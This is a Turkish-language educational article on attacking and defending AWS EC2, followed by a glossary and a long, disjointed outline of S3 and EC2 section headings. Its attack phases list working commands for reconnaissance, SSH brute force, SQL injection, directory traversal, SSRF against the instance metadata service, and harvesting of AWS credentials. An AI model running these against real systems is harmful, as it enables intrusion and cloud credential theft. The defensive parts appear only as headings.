Amazon EC2 (Elastic Compute Cloud), modern bulut altyapısının atan kalbidir ve basit web sunucularından karmaşık makine öğrenimi iş yüklerine kadar milyonlarca sanal makineyi çalıştırır. EC2’yi, her biri belirli bir rol üstlenen uygulamalarla dolu binalardan oluşan geniş bir dijital metropol gibi düşünebilirsiniz; sokaklar (ağlar), kapılar (security group’lar) ve sakinler (uygulamalar) birbirine bağlıdır.

Her metropol gibi, doğru yönetildiğinde son derece güvenli olabilir: güçlü kimlik doğrulama, ağ segmentasyonu ve dikkatli izleme ile. Ancak tek bir yanlış yapılandırılmış security group, gözden kaçmış bir yama veya ele geçirilmiş bir kimlik bilgisi, dijital şehrinizi saldırganlar için oyun alanına dönüştürebilir.

Bu makale, tipik EC2 sertleştirme rehberlerinin ötesine geçer. Morgan (Red Team’dan zeki bir saldırgan) ve Casey (Blue Team’dan titiz bir savunmacı) gözünden EC2 güvenliği mücadelesini anlatan kapsamlı bir incelemedir. Saldırganların EC2 örneklerini keşfetmek, ele geçirmek ve kullanmak için uyguladığı teknikleri inceler ve ardından savunmacının AWS’nin güvenlik ekosistemini kullanarak nasıl sağlam bir savunma inşa ettiğini gösterir.

Öğrenme Hedefleri

Bu derinlemesine incelemenin sonunda şunları öğrenmiş olacaksınız:

EC2 Ekosistemi: Güç, Karmaşıklık ve Güvenlik Açıkları

Morgan ve Casey arasındaki güvenlik savaşına girmeden önce, EC2’nin hem güçlü hem de karmaşık bir güvenlik zorluğu olmasını sağlayan özelliklerini keşfedelim.

Temel EC2 Kavramları:

Özellik	Açıklama	Yanlış Yönetilirse Risk
Security Groups	Örnekler için ağ trafiğini kontrol eden stateful firewall kuralları	0.0.0.0/0 açılırsa brute-force saldırıları ve yetkisiz erişim
Instance Metadata Service (IMDS)	Örnek verileri ve geçici kimlik bilgileri sağlar	IMDSv1 SSRF saldırılarına açık; IAM kimlik bilgilerini sızdırabilir
User Data Scripts	Örnek başlatılırken çalıştırılan betikler	Kötü amaçlı user data root yetkisiyle kod çalıştırabilir
IAM Instance Profiles	EC2 örneklerine AWS API erişimi sağlar	Aşırı yetkili roller lateral hareket ve ayrıcalık yükseltme sağlar
SSH Key Pairs	Örnek erişimi için kriptografik anahtarlar	Paylaşılan veya ele geçirilmiş anahtarlar yetkisiz erişim sağlar
EBS Volumes	Örneklere bağlı kalıcı blok depolama	Şifrelenmemiş hacimler veri sızıntısına açık
Snapshots	EBS hacimlerinin anlık görüntüleri	Genel snapshots hassas verileri açığa çıkarabilir
Serial Console	Örnekler için doğrudan konsol erişimi	SSH anahtarlarını enjekte etmek için kötüye kullanılabilir, ağ güvenliğini atlar
## EC2’nin Neden Hedef Olduğu

Saldırganlar EC2’yi şu nedenlerle hedef alır:

AWS’ye Geçiş Kapısı: EC2 örnekleri genellikle geniş izinlere sahip IAM rollerine sahiptir ve lateral hareket için sıçrama tahtası olur.
Veri Zenginliği: Örnekler uygulamalar, veritabanları, konfigürasyon dosyaları ve önbelleğe alınmış kimlik bilgileri içerir.
Ağ Erişimi: Ele geçirilmiş bir örnek, iç ağı erişime açar ve çevre güvenlik önlemlerini atlar.
İşlem Kaynakları: Örnekler kripto madenciliği, botnet veya saldırı altyapısı için kullanılabilir.
Kalıcı Yerleşim: Serverless fonksiyonların aksine, EC2 uzun ömürlü erişim noktaları sağlar.

Morgan, EC2 saldırılarını askeri bir titizlikle planlar ve etkisini maksimize ederken tespit edilme olasılığını azaltır. İşte Morgan’ın kapsamlı saldırı oyun kitabı:

Aşama 1: Keşif ve Tanımlama – Dijital Araziyi Haritalama

![[Pasted image 20250822120346.png]]

Halka Açık Örneklerin Keşfi

Morgan, çeşitli keşif teknikleriyle halka açık EC2 örneklerini belirler:

Shodan / Censys Tarama
Sertifika Şeffaflığı (Certificate Transparency) Tarama
DNS Taraması

ÖRNEK KOMUTLAR:

shodan search "Server: Apache" country:US org:"Amazon"
shodan search "ssh" port:22 org:"Amazon Technologies"
censys search "services.service_name: HTTP" and "location.country: US" and "autonomous_system.organization: Amazon"
curl -s "https://crt.sh/?q=%.compute.amazonaws.com&output=json" | jq -r '.[].name_value' | sort -u
python ctfr.py -d targetcompany.com -o ct_results.txt
grep -i "compute\|ec2\|aws" ct_results.txt
subfinder -d targetcompany.com | grep -E "(compute\.amazonaws\.com|ec2.*\.amazonaws\.com)"
amass enum -d targetcompany.com | grep compute.amazonaws.com

AWS Hesap Keşfi
Morgan, AWS hesap kimliklerini ve ilişkili kaynakları belirlemek için teknikler uygular.

S3 Bucket Taraması Hesap Keşfi için
Hata Mesajları Analizi

HESAP NUMARASI ÇIKARTMAK:

aws s3api get-bucket-location --bucket discovered-bucket-name --no-sign-request 2>&1 | grep -o '[0-9]\{12\}'
s3scanner --buckets-file company-permutations.txt
aws sts get-caller-identity --profile fake-profile 2>&1 | grep -o '[0-9]\{12\}'
aws s3 ls s3://nonexistent-bucket-name 2>&1 | grep -o '[0-9]\{12\}'

Sosyal Mühendislik ve OSINT
- GitHub repolarından kimlik bilgisi avı:

git-secrets --scan-history /path/to/target-repo
truffleHog --regex --entropy=False https://github.com/targetcompany/repo
# GitHub search queries
# "targetcompany" AND ("ec2" OR "compute.amazonaws.com") language:yaml
# "targetcompany" AND ("AKIA" OR "AWS_ACCESS_KEY)

LinkedIn ile hedef çalışanları tespit
Morgan’ın notları: “12 halka açık EC2 örneği keşfettim, bazıları SSH 22 portu açık. GitHub mining ile CI/CD pipeline’larında hardcoded AWS kimlik bilgileri bulundu. 3.14.159.26’da nginx 1.14.0 çalışıyor ve bilinen açıklar var.”

Morgan’ın günlük kaydı:
“Keşif sırasında 3 kullanılabilir bölge içinde 12 halka açık EC2 örneği buldum. Bazı örnekler SSH (port 22) ile 0.0.0.0/0 erişimine açıktı. GitHub üzerinden CI/CD pipeline konfigürasyonunda hardcoded AWS kimlik bilgileri keşfettim. 3.14.159.26 IP’li örnek, bilinen güvenlik açıklarına sahip nginx 1.14.0 çalıştırıyor.”

TTP’ler (MITRE ATT&CK Haritalaması)

T1590.005 (Network Topology): Shodan/Censys ile altyapı haritalama
T1593.001 (Social Networks): LinkedIn istihbaratı
T1593.003 (Code Repositories): GitHub kimlik bilgisi toplama

Phase 2: İlk Erişim – Çevreyi Aşmak

![[Pasted image 20250822120706.png]]

Keşif tamamlandıktan sonra, Morgan EC2 örneklerine ilk erişimi sağlamak için harekete geçer.

2.1. Kimlik Bilgisi Tabanlı Erişim

EC2’ye erişmenin en doğrudan yolu çoğu zaman ele geçirilmiş kimlik bilgilerini kullanmaktır.

Sızdırılmış AWS Anahtarlarının Kullanımı:

SSH Brute Force Saldırıları:

# Ele geçirilen kimlik bilgileri ile AWS CLI yapılandırması
aws configure --profile compromised
AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Kimlik bilgilerinin geçerliliğini ve izinleri test et
aws sts get-caller-identity --profile compromised
aws ec2 describe-instances --profile compromised --region us-east-1

# EC2 Instance Connect ile örnek erişimi deneme
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-1234567890abcdef0 \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub \
--availability-zone us-east-1a \
--profile compromised

# Hydra ile SSH brute force
hydra -L userlist.txt -P passwordlist.txt -t 4 -V ssh://3.14.159.26

# Medusa ile paralel saldırılar
medusa -h 3.14.159.26 -U userlist.txt -P rockyou.txt -M ssh

2.2. Servis İstismarı

Morgan, keşfettiği EC2 örneklerinde çalışan zayıf servislere yönelir.

web app attack

# Test edilecek yaygın varsayılan kimlik bilgileri
# ec2-user:ec2-user, ubuntu:ubuntu, admin:admin, root:[boş]

# SQL injection testi
sqlmap -u "http://3.14.159.26/login.php" --data="username=admin&password=test" --dbs

# Dizin geçişi (Directory Traversal) istismarı
curl "http://3.14.159.26/../../etc/passwd"
curl "http://3.14.159.26/../../opt/aws/bin/cfn-get-metadata"

# IMDS erişimi için Server-Side Request Forgery (SSRF)
curl "http://3.14.159.26/fetch?url=http://169.254.169.254/latest/meta-data/"

# Bilinen açıklıkları tarama
nmap -sC -sV -p- 3.14.159.26
nikto -h http://3.14.159.26

# nginx 1.14.0 açıklıkları (örnek)
# CVE-2019-20372: Yanlış yapılandırılmış alias ile dizin geçişi
curl "http://3.14.159.26/images../etc/passwd"

Web Uygulama Saldırıları ve Bilinen CVE’leri Kullanma:
Morgan’ın notları:

“3.14.159.26:22 adresine brute force saldırısı başarılı oldu, ubuntu:password123 kimlik bilgileri ile ilk shell erişimi sağlandı. Örnek, SSRF açığı bulunan güncel olmayan bir web uygulaması çalıştırıyor. Şimdi ayrıcalıkları yükseltme ve dahili AWS ortamını keşfetme zamanı.”

TTPs (MITRE ATT&CK Eşlemesi):

T1110.001 (Şifre Tahmini): SSH brute force saldırıları
T1190 (Halka Açık Uygulama Açığını Kullanma): Web uygulama istismarı
T1078.004 (Bulut Hesapları): Ele geçirilmiş AWS kimlik bilgilerinin kullanımı

Phase 3: Kimlik Bilgisi Erişimi & IMDS İstismarı – Taç Mücevherleri

![[Pasted image 20250822121125.png]]

EC2 örneği içine girdikten sonra, Morgan’ın birincil hedefi AWS kimlik bilgilerini çıkararak yatay hareket (lateral movement) sağlamaktır.

3.1. Instance Metadata Service (IMDS) İstismarı

IMDS, Morgan için en değerli hedeflerden biridir; geçici AWS kimlik bilgileri sağlar.

IMDSv1 Doğrudan Erişim:

curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IAM rol adını çıkar:

ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

Geçici kimlik bilgilerini al:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME

SSRF Tabanlı IMDS Erişimi:

curl "http://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

IMDSv2 Token Tabanlı Erişim:

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

3.2. Yerel Kimlik Bilgisi Toplama

Morgan, ele geçirilen örnekte ek AWS kimlik bilgileri arar:

AWS CLI Konfigürasyon Dosyaları:

cat ~/.aws/credentials
cat ~/.aws/config
find / -name "credentials" -type f 2>/dev/null
find / -name "config" -path "*/.aws/*" 2>/dev/null

Ortam Değişkenleri:

env | grep -i aws
printenv | grep -E "(AWS_ACCESS_KEY|AWS_SECRET|AWS_SESSION_TOKEN)"

Uygulama Dosyalarında AWS Kimlik Bilgileri Arama:

grep -r -i "AKIA" /var/www/ 2>/dev/null
find /opt /var -name "*.config" -o -name "*.json" -o -name "*.yaml" 2>/dev/null | xargs grep -l -i aws
grep -r "aws_access_key\|aws_secret" /etc/ 2>/dev/null

3.3. Windows EC2 Parola Erişimi

Windows örneklerinde Morgan RDP parolalarını elde etmeye çalışır:

aws ec2 get-password-data --instance-id i-1234567890abcdef0 --profile compromised
# Özel anahtar varsa şifreyi çöz
aws ec2 get-password-data --instance-id i-1234567890abcdef0 --priv-launch-key ~/.ssh/my-key.pem --profile compromised

Morgan’ın notları:

“IMDS istismarı başarılı! IAM rolü ‘WebServerRole’ için geçici kimlik bilgilerini aldım. Bu rol S3 erişimi, EC2 describe izinleri ve Systems Manager yetkilerini içeriyor. Ayrıca /var/www/html/config/database.php içinde sabitlenmiş RDS kimlik bilgileri bulundu. Şimdi daha geniş AWS ortamını keşfetme zamanı.”

TTPs (MITRE ATT&CK Eşlemesi):

T1552.005 (Bulut Örneği Metadata API): IMDS kimlik bilgisi çıkarımı
T1555 (Parola Depolarından Kimlik Bilgisi): Yerel kimlik bilgisi toplama
T1552.001 (Dosyalardaki Kimlik Bilgileri): Uygulama konfigürasyonu madenciliği

Terim	Açıklama
S3 (Simple Storage Service)	Amazon’un nesne tabanlı bulut depolama hizmetidir. Dosyalar “object”, kapsayıcılar “bucket” olarak saklanır. Yüksek ölçeklenebilirlik, erişim kontrolü ve veri dayanıklılığı sağlar.
Bucket	S3 üzerinde nesnelerin tutulduğu, benzersiz bir isimle tanımlanan konteynerdir. Her bucket kendi erişim politikasına ve yapılandırmasına sahiptir.
Bucket Policy	Bucket’a doğrudan eklenen JSON formatındaki erişim politikasıdır. Kaynak bazlıdır ve IP, VPC, kullanıcı etiketi (tag) gibi koşullarla erişim kısıtlanabilir.
ACL (Access Control List)	S3’te eski erişim kontrol yöntemidir. Nesne veya bucket seviyesinde “read/write” izinleri belirler. Modern ortamlarda IAM ve policy tabanlı yetkilendirme tercih edilir.
IAM (Identity and Access Management)	AWS üzerinde kullanıcı, grup, rol ve erişim politikalarının yönetildiği kimlik hizmetidir. “Least Privilege” ilkesini uygulayarak erişimi kısıtlar.
IAM Role	AWS servislerine geçici kimlik bilgisi sağlayan mekanizmadır. EC2, Lambda gibi servisler access key yerine role kullanır.
Pre-signed URL	Belirli bir obje için zaman sınırlı erişim sağlayan URL’dir. Dosya yükleme veya indirme işlemlerinde kullanılır. Süre ve izin yönetimi doğru yapılmazsa risklidir.
SSE-S3	Amazon tarafından yönetilen AES-256 algoritmasıyla yapılan sunucu taraflı şifreleme yöntemidir. Uygulama tarafında ek işlem gerektirmez.
SSE-KMS	AWS Key Management Service (KMS) kullanılarak müşteri anahtarlarıyla (CMK) yapılan şifrelemedir. Daha fazla kontrol ve audit imkânı sağlar.
Block Public Access	AWS’nin S3’te genel (public) erişimi tamamen engelleyen güvenlik özelliğidir. Public ACL ve policy’leri devre dışı bırakır.
CloudTrail	AWS’de yapılan tüm yönetimsel (Management) ve veri (Data) işlemlerini kaydeden denetim hizmetidir. Olay inceleme ve izleme için kullanılır.
S3 Server Access Logs	S3 isteklerini ve erişim detaylarını kaydeden log özelliğidir. Loglar genellikle ayrı, güvenli bir bucket’a yönlendirilir.
GuardDuty	AWS’nin tehdit tespit servisidir. Şüpheli erişimleri, kötü niyetli IP’leri ve S3 üzerinde zararlı dosya yüklemelerini tespit eder.
Macie	Makine öğrenimiyle S3 üzerindeki hassas verileri (PII, finansal veriler vb.) tanımlayan ve sınıflandıran güvenlik servisidir.
IMDS (Instance Metadata Service)	EC2 örnekleri hakkında bilgi ve geçici kimlik bilgileri sağlayan yerel servistir. Yanlış yapılandırılırsa SSRF ile sömürülebilir.
IMDSv2	Token tabanlı, daha güvenli metadata servisidir. IMDSv1’e göre SSRF saldırılarına karşı koruma sağlar.
SSRF (Server-Side Request Forgery)	Sunucu tarafında başka kaynaklara istek yaptırmayı amaçlayan saldırı türüdür. IMDS veya dahili ağ erişimi elde etmek için kullanılabilir.
Security Group	EC2 örnekleri için stateful firewall işlevi görür. Gelen ve giden trafik kuralları belirlenir. Geniş açıklar (ör. 0.0.0.0/0) risklidir.
EBS (Elastic Block Store)	EC2 örnekleri için kalıcı blok depolama hizmetidir. Şifreleme ve snapshot erişimi doğru yönetilmelidir.
Versioning	S3 bucket içindeki dosyaların sürüm geçmişini tutar. Yanlışlıkla silinen veya üzerine yazılan dosyalar geri getirilebilir.
Object Lock	WORM (Write Once Read Many) ilkesine göre nesnelerin belirli süre silinmesini veya değiştirilmesini engeller. Uyumluluk gereksinimleri için kullanılır.
Replication (CRR/SRR)	Objeleri aynı bölgede (SRR) veya farklı bölgede (CRR) başka bir bucket’a otomatik olarak kopyalar. Felaket kurtarma senaryolarında kullanılır.
Lifecycle Policy	Nesnelerin yaşam döngüsünü yönetir. Eski dosyaları otomatik olarak silme veya daha ucuz depolamaya taşıma kuralları tanımlar.
Cloud Custodian	AWS kaynaklarını politika bazlı olarak izleyen ve güvenlik uyumsuzluklarını otomatik düzelten araçtır.
Data Exfiltration	Yetkisiz veri sızdırma işlemidir. Saldırganlar genellikle S3 veya benzeri servisler üzerinden veri çeker veya replike eder.
Least Privilege	En az ayrıcalık prensibidir. Kullanıcılara yalnızca görevleri için gerekli en düşük seviyede izin verilmesini öngörür.

AWS Nedir-II

1.1. Halka Açık Bilinen Kova İsimleri ve Permütasyonlar

1.2. Google Dorking

1.3. Sertifika Şeffaflık (CT) Logları

1.4. DNS Keşfi ve Alt Alan Adı Taraması

1.5. Web Sayfaları ve Mobil Uygulamaların Analizi

1.6. GitHub & Kamuya Açık Kod Depoları

1.7. Shodan / Censys

🔧 Kullanılan Araçlar

Alex’in Günlüğü

📌 MITRE ATT&CK TTP Eşlemesi

İlk Erişim Başlangıcı – Potansiyel Kovaları Test Etme

2.1. Halka Açık Listeleme/Okuma Hatalarının İstismarı

2.2. Yanlış Yapılandırılmış ACL’ler

2.3. Sızdırılmış Kimlik Bilgileri / IAM Anahtarları

2.4. Önceden İmzalanmış (Pre-signed) URL’lerin İstismarı

📓 Alex’in Günlüğü

📌 MITRE ATT&CK Eşlemesi

S3 Post-Exploitation (Saldırı Sonrası) Aşamaları ve Savunma

Saldırganın Adımları (Alex)

3.1. Nesnelerin ve Yapının Keşfi (Enumeration)

3.2. Hassas Verilerin İndirilmesi

3.3. Kötü Amaçlı Dosya Yükleme (Write Access varsa)

3.4. Mevcut Nesneleri Manipüle Etme (Data Integrity Attack)

3.5. Yetki Yükseltme (Privilege Escalation)

3.6. Veri Sızdırma (Data Exfiltration)

3.7. İzleri Gizleme (Covering Tracks)

🔗 MITRE ATT&CK Eşleştirmesi

Savunmacının Adımları (Blake)

IAM ve S3 Güvenliği

Bucket Policy vs IAM Policy

Güvenli Policy Oluşturma (Least Privilege)

ABAC (Öznitelik Tabanlı Yetkilendirme)

Blake’in Stratejisi

S3 Güvenlik Sertleştirmesi (Security Hardening)

🔒 Public Access Kontrolleri (S3 Block Public Access)

Veri Şifreleme (Data Encryption for S3)

1. Encryption in Transit (Taşınırken Şifreleme)

2. Encryption at Rest (Dinamik Veri Şifreleme)

Encryption at Rest (Dinamik Veri Şifreleme)

Logging & Monitoring for S3

1. S3 Server Access Logs

2. AWS CloudTrail

3. Amazon GuardDuty (S3 Protection)

4. Amazon Macie

5. CloudWatch Alarms & EventBridge

Blake’in Stratejisi (Savunma Senaryosu)

7. S3 Veri Dayanıklılığı & Veri Yönetimi

7.1. Versioning (Sürümleme)

7.2. S3 Object Lock

7.3. Replication (CRR / SRR)

7.4. Lifecycle Policies

Stratejik Özet

8. S3 Güvenlik – Pre-signed URLs, Auditing & Incident Response

8.1. Pre-signed URLs (Savunma Perspektifi)

8.2. Vulnerability Management & Auditing for S3

AWS Config

Üçüncü Parti Araçlar

Manuel Denetimler

🎭 8.3. Gerçek Senaryo (Acme Corp)

🔴 Saldırgan (Alex)

🟢 Savunmacı (Blake)

Stratejik Dersler

1. Olay Müdahalesi Senaryosu (Örnek: Kötü Amaçlı Upload)

Adımlar:

2. Saldırganın Araçları (Alex’in Toolkit’i)

3. Savunma Araçları (Blake’in Arsenal’i)

4. S3 Güvenliği için Temel AWS Servisleri

5. Temel Güvenlik İlkeleri

6. Yeni Tehditler & Gelecek

Cloud Security 3

AWS EC2 Attack & Defend – Hızlı Özet

EC2’nin Önemi

Temel EC2 Güvenlik Konseptleri ÖZET(altta daha detaylısı var):

AWS EC2 Saldırı ve Savunma: Bulutun Atan Kalbi İçin Mücadele

Öğrenme Hedefleri

EC2 Ekosistemi: Güç, Karmaşıklık ve Güvenlik Açıkları

Aşama 1: Keşif ve Tanımlama – Dijital Araziyi Haritalama

TTP’ler (MITRE ATT&CK Haritalaması)

Phase 2: İlk Erişim – Çevreyi Aşmak